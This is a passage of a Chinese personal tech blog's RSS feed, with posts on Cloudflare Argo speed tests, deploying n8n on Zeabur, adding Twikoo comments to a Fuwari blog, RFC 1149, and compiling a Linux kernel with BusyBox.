</div></div><div><div><div>3</div></div><div><span>性能指标 (IPv4):</span></div></div><div><div><div>4</div></div><div><span>状态码: 200</span></div></div><div><div><div>5</div></div><div><span>TTFB: 1.332947s</span></div></div><div><div><div>6</div></div><div><span>DNS: 0.379638s</span></div></div><div><div><div>7</div></div><div><span>TCP: 0.676709s</span></div></div><div><div><div>8</div></div><div><span>TLS: 0.999466s</span></div></div><div><div><div>9</div></div><div><span>总时间: 2.758808s</span></div></div><div><div><div>10</div></div><div><span>速度: 161100 B/s</span></div></div><div><div><div>11</div></div><div><span>大小: 444444 bytes</span></div></div><div><div><div>12</div></div><div><span>远程IP: 172.66.40.127:443</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>=== IPv6 测试 ===</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>性能指标 (IPv6):</span></div></div><div><div><div>17</div></div><div><span>状态码: 200</span></div></div><div><div><div>18</div></div><div><span>TTFB: 1.152041s</span></div></div><div><div><div>19</div></div><div><span>DNS: 0.315701s</span></div></div><div><div><div>20</div></div><div><span>TCP: 0.577526s</span></div></div><div><div><div>21</div></div><div><span>TLS: 0.885486s</span></div></div><div><div><div>22</div></div><div><span>总时间: 1.868585s</span></div></div><div><div><div>23</div></div><div><span>速度: 237850 B/s</span></div></div><div><div><div>24</div></div><div><span>大小: 444444 bytes</span></div></div><div><div><div>25</div></div><div><span>远程IP: 2606:4700:3108::ac42:2b81:443</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>海外测试
<img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/old-blog-p/Screenshot_20251118_172141.77dzhp5dux.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/old-blog-p/Screenshot_20251118_172141.77dzhp5dux.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/old-blog-p/Screenshot_20251118_172141.77dzhp5dux.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/old-blog-p/Screenshot_20251118_172141.77dzhp5dux.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/old-blog-p/Screenshot_20251118_172141.77dzhp5dux.avif 1600w" loading="lazy" />
几乎没有什么提升(可能是因为我的源站在cloudflare pages)</p></section></section>
<section><h1>cloudflare argo smart routing智能吗？<a href="#cloudflare-argo-smart-routing智能吗"><span>#</span></a></h1><p>用curl -I测试
广东深圳移动</p><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span>~ $ curl -I https://blog.mckero.com</span></div></div><div><div><div>2</div></div><div><span>HTTP/2</span><span> </span><span>200</span></div></div><div><div><div>3</div></div><div><span>date:</span><span> </span><span>Tue,</span><span> </span><span>18</span><span> </span><span>Nov</span><span> </span><span>2025</span><span> </span><span>09:25:38</span><span> </span><span>GMT</span></div></div><div><div><div>4</div></div><div><span>content-type:</span><span> </span><span>text/html</span><span>; </span><span>charset</span><span>=</span><span>utf-8</span></div></div><div><div><div>5</div></div><div><span>access-control-allow-origin:</span><span> </span><span>*</span></div></div><div><div><div>6</div></div><div><span>cache-control:</span><span> </span><span>public,</span><span> </span><span>max-age=86400,</span><span> </span><span>must-revalidate</span></div></div><div><div><div>7</div></div><div><span>cf-cache-status:</span><span> </span><span>HIT</span></div></div><div><div><div>8</div></div><div><span>referrer-policy:</span><span> </span><span>strict-origin-when-cross-origin</span></div></div><div><div><div>9</div></div><div><span>x-content-type-options:</span><span> </span><span>nosniff</span></div></div><div><div><div>10</div></div><div><span>vary:</span><span> </span><span>accept-encoding</span></div></div><div><div><div>11</div></div><div><span>report-to:</span><span> </span><span>{"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VNFVubRCwEZ2pp7nOovbFn1R3fGjUmhMmIW%2BlaFEllnW3SGRoOxyH4LeeIiEEpJDmyuYdrZhUq1sqnnPNxloZPlG9DPIda%2BweQWjtgJVTg%3D%3D"}]}</span></div></div><div><div><div>12</div></div><div><span>nel:</span><span> </span><span>{"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}</span></div></div><div><div><div>13</div></div><div><span>server:</span><span> </span><span>cloudflare</span></div></div><div><div><div>14</div></div><div><span>speculation-rules:</span><span> </span><span>"/cdn-cgi/speculation"</span></div></div><div><div><div>15</div></div><div><span>age:</span><span> </span><span>3120</span></div></div><div><div><div>16</div></div><div><span>cf-ray:</span><span> </span><span>9a066bf57f89a666-SJC</span></div></div><div><div><div>17</div></div><div><span>alt-svc:</span><span> </span><span>h3=":443"</span><span>; </span><span>ma</span><span>=</span><span>86400</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>~ $</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>给我选择到了地球的另一边，可以看到cloudflare argo smart routing不回影响你路由到哪个数据中心。(可能因为我没有升级Pro吧)</p></section>
<section><h1>cloudflare argo smart routing效果立竿见影的地方<a href="#cloudflare-argo-smart-routing效果立竿见影的地方"><span>#</span></a></h1><p>我有一个<a href="ct8.pl">ct8</a>的账号，我在上面部署了一个<a href="https://wordpress.org/" target="_blank">wordpress</a>)，由于ct8的服务器在波兰，所以访问速度特别慢！平均5到8秒，甚至访问不了，所以我就给他套上了cloudflare cdn同时启用了cloudflare argo smart routing。速度立马就快了好多，访问速度到了1-2秒。
cloudflare argo smart routing的效果就提现出来了，比如，源站在美国而用户在中国。</p></section>
<section><h1>结语<a href="#结语"><span>#</span></a></h1><p>由此可见cloudflare argo smart routing效果是分场景的。如果你买Pro的话呢，可以买上这个试一试。效果可能更好。(我的博客流量太少了)</p></section>
<section><h1>2025年11月18日<a href="#2025年11月18日"><span>#</span></a></h1><p>就在我写完这篇文章，刚提交上去没多久，结果cloudflare就炸掉了。我所有托管到cloud flare的服务都用不了。就连cloudflare argo smart routing也没有用。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/n8n/</id>
      <title type="text">从零开始部署n8n</title>
      <published>2025-11-10T00:00:00.000Z</published>
      <updated>2025-11-10T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/n8n/"/>
      <summary type="text">这是一篇使用Zeabur部署n8n的教程</summary>
      <content type="html"><![CDATA[<section><h1>从零开始部署n8n<a href="#从零开始部署n8n"><span>#</span></a></h1><p><strong>n8n</strong> 是一个开源的、功能强大的工作流自动化工具，允许用户通过可视化方式连接不同的应用程序和服务。它结合了 <strong>AI 功能</strong> 和 <strong>业务流程自动化</strong>，帮助开发者和非技术人员创建复杂的工作流，实现数据在不同系统间的自动传输和处理。</p></section>
<section><h1>部署<a href="#部署"><span>#</span></a></h1><p>那我们要怎样才能部署n8n呢？我选择的是<a href="https://zeabur.com/" target="_blank">Zeabur</a></p><section><h2>什么是Zeabur?<a href="#什么是zeabur"><span>#</span></a></h2><p><a href="https://zeabur.com/docs/zh-CN" target="_blank">Zeabur文档</a>的官方文档是这样介绍的
<strong>Zeabur</strong> 是一个可以帮助你部署服务的平台，无论你使用什么编程语言或开发框架，你都只需要通过几个简单的按钮进行部署。
而且，Zeabur还采用按量计费，我们只需要为我们的服务实际用到的资源付费。</p></section><section><h2>注册Zeabur<a href="#注册zeabur"><span>#</span></a></h2><p>zeabur上有详细的注册引导，这里不细讲了。</p></section><section><h2>部署n8n<a href="#部署n8n"><span>#</span></a></h2><p><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/image.4ubcom13md.webp" alt="" loading="lazy" />
打开Zeabur的控制台，你可以看到有一个创建项目的按钮，点一下，就会到达这个界面。</p><p><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/image.4g4wxqweuw.webp" alt="" loading="lazy" />
点击模板，n8n就在第一位。</p><p><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/image.szda83mtn.webp" alt="" loading="lazy" />
这上面有很多的项目比如n8n，LobeChat，SillyTavern。我们点击Deploy</p><p><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/image.5fl0ax5s9f.webp" alt="" loading="lazy" />
这里让我们输入一个域名，自己取一个就好。</p><p><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/image.2a5ibzeal7.webp" alt="" loading="lazy" />
等一小会，就部署好了。</p></section></section>
<section><h1>完成！<a href="#完成"><span>#</span></a></h1><p>n8n现在已经部署好了，去创建你的工作流吧！</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/folo/</id>
      <title type="text">认证为Folo的创作者</title>
      <published>2025-11-09T00:00:00.000Z</published>
      <updated>2025-11-09T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/folo/"/>
      <summary type="text">认证Folo这个个RSS聚合平台</summary>
      <content type="html"><![CDATA[<section><h1>这是什么？<a href="#这是什么"><span>#</span></a></h1><p>这是一篇Folo认证文章，用于认证本RSS归属于我</p><p>This message is used to verify that this feed (feedId&lt;188222204893345792&gt;) belongs to me (userId&lt;182783542599589888&gt;). Join me in enjoying the next generation information browser <a href="https://folo.is" target="_blank">https://folo.is</a>.</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/fuwari-add-twikoo/</id>
      <title type="text">给你的fuwari添加twikoo评论系统</title>
      <published>2025-10-10T00:00:00.000Z</published>
      <updated>2025-10-10T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/fuwari-add-twikoo/"/>
      <summary type="text">本文讲述了如何给你的fuwari添加twikoo评论系统。</summary>
      <content type="html"><![CDATA[<section><h1>给你的fuwari添加twikoo评论系统<a href="#给你的fuwari添加twikoo评论系统"><span>#</span></a></h1><p>twikoo是一个优秀的评论系统，有美观的界面，而且可以高度自定义。（最重要的是可以匿名发评论）</p></section>
<section><h1>部署twikoo<a href="#部署twikoo"><span>#</span></a></h1><p>先访问<a href="https://twikoo.js.org/" target="_blank">twikoo的官网</a>点击<code>快速上手</code>，会跳转到Twikoo 文档，再点击<code>云函数部署</code>选择一个你喜欢的部署方式。</p><section><h2>MongoDB Atlas 注册<a href="#mongodb-atlas-注册"><span>#</span></a></h2><p>我比较喜欢Netlify部署，因为我已经有Netlify账号了，大部分的部署方式都是要MongoDB的数据库的，Netlify部署就需要。MongoDB Atlas为免费账户可以永久使用 500 MiB 的数据库，足够存储 Twikoo 评论使用。<a href="https://twikoo.js.org/mongodb-atlas.html" target="_blank">注册MongoDB Atlas的教程</a>Twikoo 文档中有详细的教程。</p></section><section><h2>Netlify 部署<a href="#netlify-部署"><span>#</span></a></h2><p>获取到 MongoDB 连接字符串后要妥善保管（这个字符串可以连接数据库）<a href="https://twikoo.js.org/backend.html#netlify-%E9%83%A8%E7%BD%B2" target="_blank">Netlify 部署教程</a></p></section></section>
<section><h1>前端部署<a href="#前端部署"><span>#</span></a></h1><p>在拿到环境 id后就可以开始在fuwari中部署了。
下载<a href="https://github.com/saicaca/fuwari/tree/comments" target="_blank">https://github.com/saicaca/fuwari/tree/comments</a>中的/src/components/comment（把整个文件夹下载下来），把comment文件夹复制到你的fuwari的/src/components中，删掉<code>Giscus.astr</code>和<code>Disqus.astro</code>
把<code>index.astro</code>中的代码全部替换</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>---</span></div></div><div><div><div>2</div></div><div><span>import type { CollectionEntry } from 'astro:content'</span></div></div><div><div><div>3</div></div><div><span>import { commentConfig } from '@/config'</span></div></div><div><div><div>4</div></div><div><span>import Twikoo from './Twikoo.astro'</span></div></div><div><div><div>5</div></div><div><span>interface Props {</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>post: CollectionEntry&lt;'posts'&gt;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>const { id, data, slug } = Astro.props.post</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>const path = `/posts/${slug}`</span></div></div><div><div><div>12</div></div><div><span>const url = `${Astro.site?.href}${path}`</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>let commentService = ''</span></div></div><div><div><div>15</div></div><div><span>if (commentConfig?.twikoo) {</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>commentService = 'twikoo'</span></div></div><div><div><div>17</div></div><div><span>}</span></div></div><div><div><div>18</div></div><div><span>---</span></div></div><div><div><div>19</div></div><div><span>&lt;div class="card-base p-6 mb-4"&gt;</span></div></div><div><div><div>20</div></div><div><span><span>  </span></span><span>{commentService === 'twikoo' &amp;&amp; &lt;Twikoo path={path} /&gt;}</span></div></div><div><div><div>21</div></div><div><span><span>  </span></span><span>{commentService === '' &amp;&amp; null}</span></div></div><div><div><div>22</div></div><div><span>&lt;/div&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>把Twikoo.astro中的代码替换</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>---</span></div></div><div><div><div>2</div></div><div><span>import { commentConfig } from '@/config'</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>interface Props {</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>path: string</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>const config = {</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>...commentConfig.twikoo,</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>el: '#tcomment',</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>path: Astro.props.path,</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div><span>---</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>&lt;div id="tcomment"&gt;&lt;/div&gt;</span></div></div><div><div><div>16</div></div><div><span>&lt;script define:vars={{ config }}&gt;</span></div></div><div><div><div>17</div></div><div><span>function loadTwikoo() {</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>// 动态加载 Twikoo 脚本，并在加载完成后执行 twikoo.init</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span><span>  </span></span><span>const script = document.createElement('script');</span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>script.src = 'https://s4.zstatic.net/npm/twikoo@替换成你的twikoo版本/dist/twikoo.min.js';</span></div></div><div><div><div>23</div></div><div><span><span>  </span></span><span>script.defer = true;</span></div></div><div><div><div>24</div></div><div><span><span>  </span></span><span>script.onload = () =&gt; {</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>if (window.twikoo) {</span></div></div><div><div><div>26</div></div><div><span><span>      </span></span><span>window.twikoo.init(config);</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>28</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>29</div></div><div><span><span>  </span></span><span>// script.onerror = () =&gt; {</span></div></div><div><div><div>30</div></div><div><span><span>  </span></span><span>//   console.error('Twikoo script load failed');</span></div></div><div><div><div>31</div></div><div><span><span>  </span></span><span>// };</span></div></div><div><div><div>32</div></div><div><span><span>  </span></span><span>document.body.appendChild(script);</span></div></div><div><div><div>33</div></div><div><span>}</span></div></div><div><div><div>34</div></div><div><span><span>  </span></span><span>document.addEventListener("loadComment", loadTwikoo, { once: true }); // 监听加载评论事件，但是我们只能监听一次，从而避免多次触发。</span></div></div><div><div><div>35</div></div><div><span>&lt;/script&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>打开 /src/types/config.ts，将这段代码添加至 72 行处</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export type CommentConfig = {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>twikoo?: TwikooConfig</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>type TwikooConfig = {</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>envId: string</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>region?: string</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>lang?: string</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>打开 /src/config.ts ，引入 CommentConfig</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import type {</span></div></div><div><div><div>2</div></div><div><span>+  CommentConfig,</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>LicenseConfig,</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>NavBarConfig,</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>ProfileConfig,</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>SiteConfig,</span></div></div><div><div><div>7</div></div><div><span>} from './types/config'</span></div></div><div><div><div>8</div></div><div><span>import { LinkPreset } from './types/config'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在config.ts末尾添加这段代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export const commentConfig: CommentConfig = {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>twikoo: {</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>envId: '这里替换为你的 envId，就是环境ID',</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>打开 /src/pages/posts/[…slug].astro ，在16行处添加 import Comment from “@components/comment/index.astro”</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import Comment from "@components/comment/index.astro"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在 112 行处添加</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;Comment post={entry}&gt;&lt;/Comment&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>配置好后，<code>git push</code>部署后查看博客，你就能看到文章底下的评论区了。</p></section>
<section><h1>黑暗模式<a href="#黑暗模式"><span>#</span></a></h1><p>在黑暗模式中，twikoo评论区会有显示不清楚的问题。可以通过添加<a href="https://github.com/MCKero6423/fuwari/blob/main/src%2Fstyles%2Ftwikoo.css" target="_blank">Twikoo.css</a>解决</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/my-game/</id>
      <title type="text">我的歌单</title>
      <published>2025-09-15T00:00:00.000Z</published>
      <updated>2025-09-15T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/my-game/"/>
      <summary type="text">本文讲述了我在听音乐的时候听到了我玩的游戏的主题曲。</summary>
      <content type="html"><![CDATA[<section><h1>关于我的游戏回忆<a href="#关于我的游戏回忆"><span>#</span></a></h1><p>今天在听歌的时候听到了一首关于使命召唤的联动主题曲，我当时直接泪目了。</p></section>
<section><h1>保存这些回忆<a href="#保存这些回忆"><span>#</span></a></h1><p>所以我想通过不同的媒介来储存这些回忆</p><ul>
<li>硬盘</li>
<li>云储存（云盘，网易云音乐）</li>
<li>B站视频</li>
</ul></section>
<section><h1>使命召唤<a href="#使命召唤"><span>#</span></a></h1><p>无畏战士</p><p>使命之战</p><p>2024 S2-「游龙剑影」</p> <p></p><figure><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/codm-2024-01.3uv7aqfih4.webp" alt="codm-2024-s2" loading="lazy" /><figcaption>codm-2024-s2</figcaption></figure><p></p><p></p><figure><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/codm-2024-01-wenzi.6t7he8p6sh.webp" alt="codm-2024-01-wenzi" loading="lazy" /><figcaption>codm-2024-01-wenzi</figcaption></figure><p></p></section>
<section><h1>暗区<a href="#暗区"><span>#</span></a></h1><section><h2>暗区突围S14主题曲<a href="#暗区突围s14主题曲"><span>#</span></a></h2> </section><section><h2>暗区突围导火索<a href="#暗区突围导火索"><span>#</span></a></h2><p></p><figure><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/anqu-s7-daohuoso.8admfzjqjj.webp" alt="anqu-s7-daohuoso" loading="lazy" /><figcaption>anqu-s7-daohuoso</figcaption></figure><p></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/ge-lian-wang/</id>
      <title type="text">RCF 1149中的“鸽联网”？</title>
      <published>2025-09-13T00:00:00.000Z</published>
      <updated>2025-09-13T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/ge-lian-wang/"/>
      <summary type="text">本文讲述了RCF 1149的鸽联网，一种以鸟类为载体的网际协议。</summary>
      <content type="html"><![CDATA[<section><h1>禽类载体上IP数据报传输标准<a href="#禽类载体上ip数据报传输标准"><span>#</span></a></h1><p>这几天在逛b站的时候看见了一个有关于“鸽联网”的视频，我还从来没有听说过这种东西，所以说我马上去搜了一下，还真有！</p><p>在<a href="https://share.google/Ux2OielMt60HhHRG1" target="_blank">维基百科</a>上是这么说的
以鸟类为载体的网际协议（英语：IP over Avian Carriers，缩写IPoAC）是一个理论上使用信鸽等鸟类来传输网际协议（IP）数据的通信提案，也称信鸽IP网络、鸽联网。</p><p>文章还提到IPoAC最初由互联网国际标准机构在RFC 1149中提出（1990年4月1日，愚人节RFC）</p><p>我当即就查询RFC 1149找到了这个网站<a href="https://datatracker.ietf.org/doc/html/rfc1149" target="_blank">https://datatracker.ietf.org/doc/html/rfc1149</a>这个网站展示的内容似乎是RFC 1149的内容
</p><figure><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/rfc-1149-p1.jpg" alt="rfc-1149-p1" loading="lazy" /><figcaption>rfc-1149-p1</figcaption></figure><p></p><p></p><figure><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/rcf-1149-p2.jpg" alt="rfc-1149-p2" loading="lazy" /><figcaption>rfc-1149-p2</figcaption></figure><p></p><p>这种网络传输方式有着高延迟，高丢包的优点，但是带宽挺高的。如果给一群速度特别高的鸽子的脚绑上1tb的储存卡，那他的带宽将会高的离谱，理论上带宽可以无限高，受季节，天气影响</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/my-linux/</id>
      <title type="text">编译自己的Linux发行版</title>
      <published>2025-09-06T00:00:00.000Z</published>
      <updated>2025-09-06T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/my-linux/"/>
      <summary type="text">本文讲述了如何编译自己的Linux发行版，并安装软件包管理器。</summary>
      <content type="html"><![CDATA[<section><h1>如何编译自己的Linux发行版？<a href="#如何编译自己的linux发行版"><span>#</span></a></h1><p>这几天在逛B站的时候看见了一个讲如何编译Linux发行版的视频<a href="https://www.bilibili.com/video/BV1bFNSeREvV/" target="_blank">视频链接</a>心血来潮，就想自己编译一个Linux发行版。</p> <section><h3>如果你想编译你自己的Linux内核，你需要。<a href="#如果你想编译你自己的linux内核你需要"><span>#</span></a></h3><ul>
<li>Linux环境</li>
<li>足够的存储空间</li>
<li>有耐心</li>
</ul><section><h4>编译Linux内核<a href="#编译linux内核"><span>#</span></a></h4><p>Linux内核是Linux操作系统的核心组件，负责管理计算机的硬件资源，并为用户空间程序提供系统调用接口。可见，内核的重要性不言而喻。</p><p>我们先到<a href="https://www.kernel.org/" target="_blank">www.kernel.org</a>下载内核（stable版本似乎更好）把tarball的链接复制下来，这里已6.16.4版本做演示。</p><p>把压缩包wget下来(用curl也行)</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>wget</span><span> </span><span>https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.16.4.tar.xz</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>解压<a href="#解压"><span>#</span></a></h4><p>把下载下来的压缩包进行解压</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>tar</span><span> </span><span>-xf</span><span> </span><span>inux-6.16.4.tar.xz</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>配置内核<a href="#配置内核"><span>#</span></a></h4><p>先cd到对应目录</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>inux-6.16.4</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>我就直接使用默认配置了。如果需要可以调整配置。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span>  </span><span>defconfig</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>使用编译命令。(-j是要使用多少个核心)</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span> </span><span>-j4</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>等待编译完成后会提示内核的输出路径，我编译的是x86的。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>linux-6.16.4/arch/x86/boot/bzImage</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>给系统装一些简易的程序<a href="#给系统装一些简易的程序"><span>#</span></a></h4><p>这里用到了<a href="https://busybox.net/" target="_blank">busybox</a>里面有很多的常用应用，比如ls，rm，ping，cd之类的（唯一的缺点就是少了一个包管理器）</p><p>到busybox的官网下载tar压缩包(这官网有点慢啊！)</p><p></p><figure><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/busybox-site.13m4k72a71.webp" alt="busybox-site" loading="lazy" /><figcaption>busybox-site</figcaption></figure><p></p><p>选择Download Source接着，滑到最底下找到1.37.0版本(大约2mb左右,那些大小太少的好像是用来校验的,你要是想也可以全下载下来一个一个找😆)</p><p></p><figure><img src="https://cdn.jsdelivr.net/gh/MCKero6423/picx-images-hosting@master/busybox-download.mf9b4p68.webp" alt="busybox-download" loading="lazy" /><figcaption>busybox-download</figcaption></figure><p></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>wget</span><span> </span><span>https://busybox.net/downloads/busybox-1.37.0.tar.bz2</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>解压busybox<a href="#解压busybox"><span>#</span></a></h4><p>还是老生常谈的解压</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>tar</span><span> </span><span>-xf</span><span> </span><span>busybox-1.37.0.tar.bz2</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>配置busybox<a href="#配置busybox"><span>#</span></a></h4><p>解压完后cd进对应目录，配置busybox，由于我们这个系统简直就是一个毛坯房，几乎啥都没有，所以说要用静态编译。先去配置一下。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span> </span><span>menuconfig</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>进到settings(按enter)找到Build Busybox as a static binary(no shared libs)按空格选择，按→选Exit</p><p>回到主界面后选择一个network开头的选项，找到tc按空格取消选择，再按→选Exit回到主界面，按→选Exit，选择后按y。</p></section><section><h4>编译busybox<a href="#编译busybox"><span>#</span></a></h4><p>配置完后就开始编译</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span> </span><span>-j</span><span> </span><span>2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>编译完成后，在你的工作目录创建一个临时目录</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>busybox</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span> </span><span>install</span><span> </span><span>CONFIG_PREFIX=../busybox</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>编辑img文件<a href="#编辑img文件"><span>#</span></a></h4><p>使用dd命令创建一个全都是0的文件</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>dd</span><span> </span><span>if=/dev/zero</span><span> </span><span>of=Linux.img</span><span> </span><span>bs=1M</span><span> </span><span>count=</span><span>512</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>给img文件分区</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>gdisk</span><span> </span><span>Linux.img</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>输入n，后面两个按空格，最后一个输入50MB，guid填写EF00(注意大小写)</p><p>再次输入n，后面全部默认，最后输入w，然后y，保存分区表。</p></section><section><h4>挂载<a href="#挂载"><span>#</span></a></h4><p>先使用losetup将一个文件或设备与一个回环设备（loop device）进行关联。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>losetup</span><span> 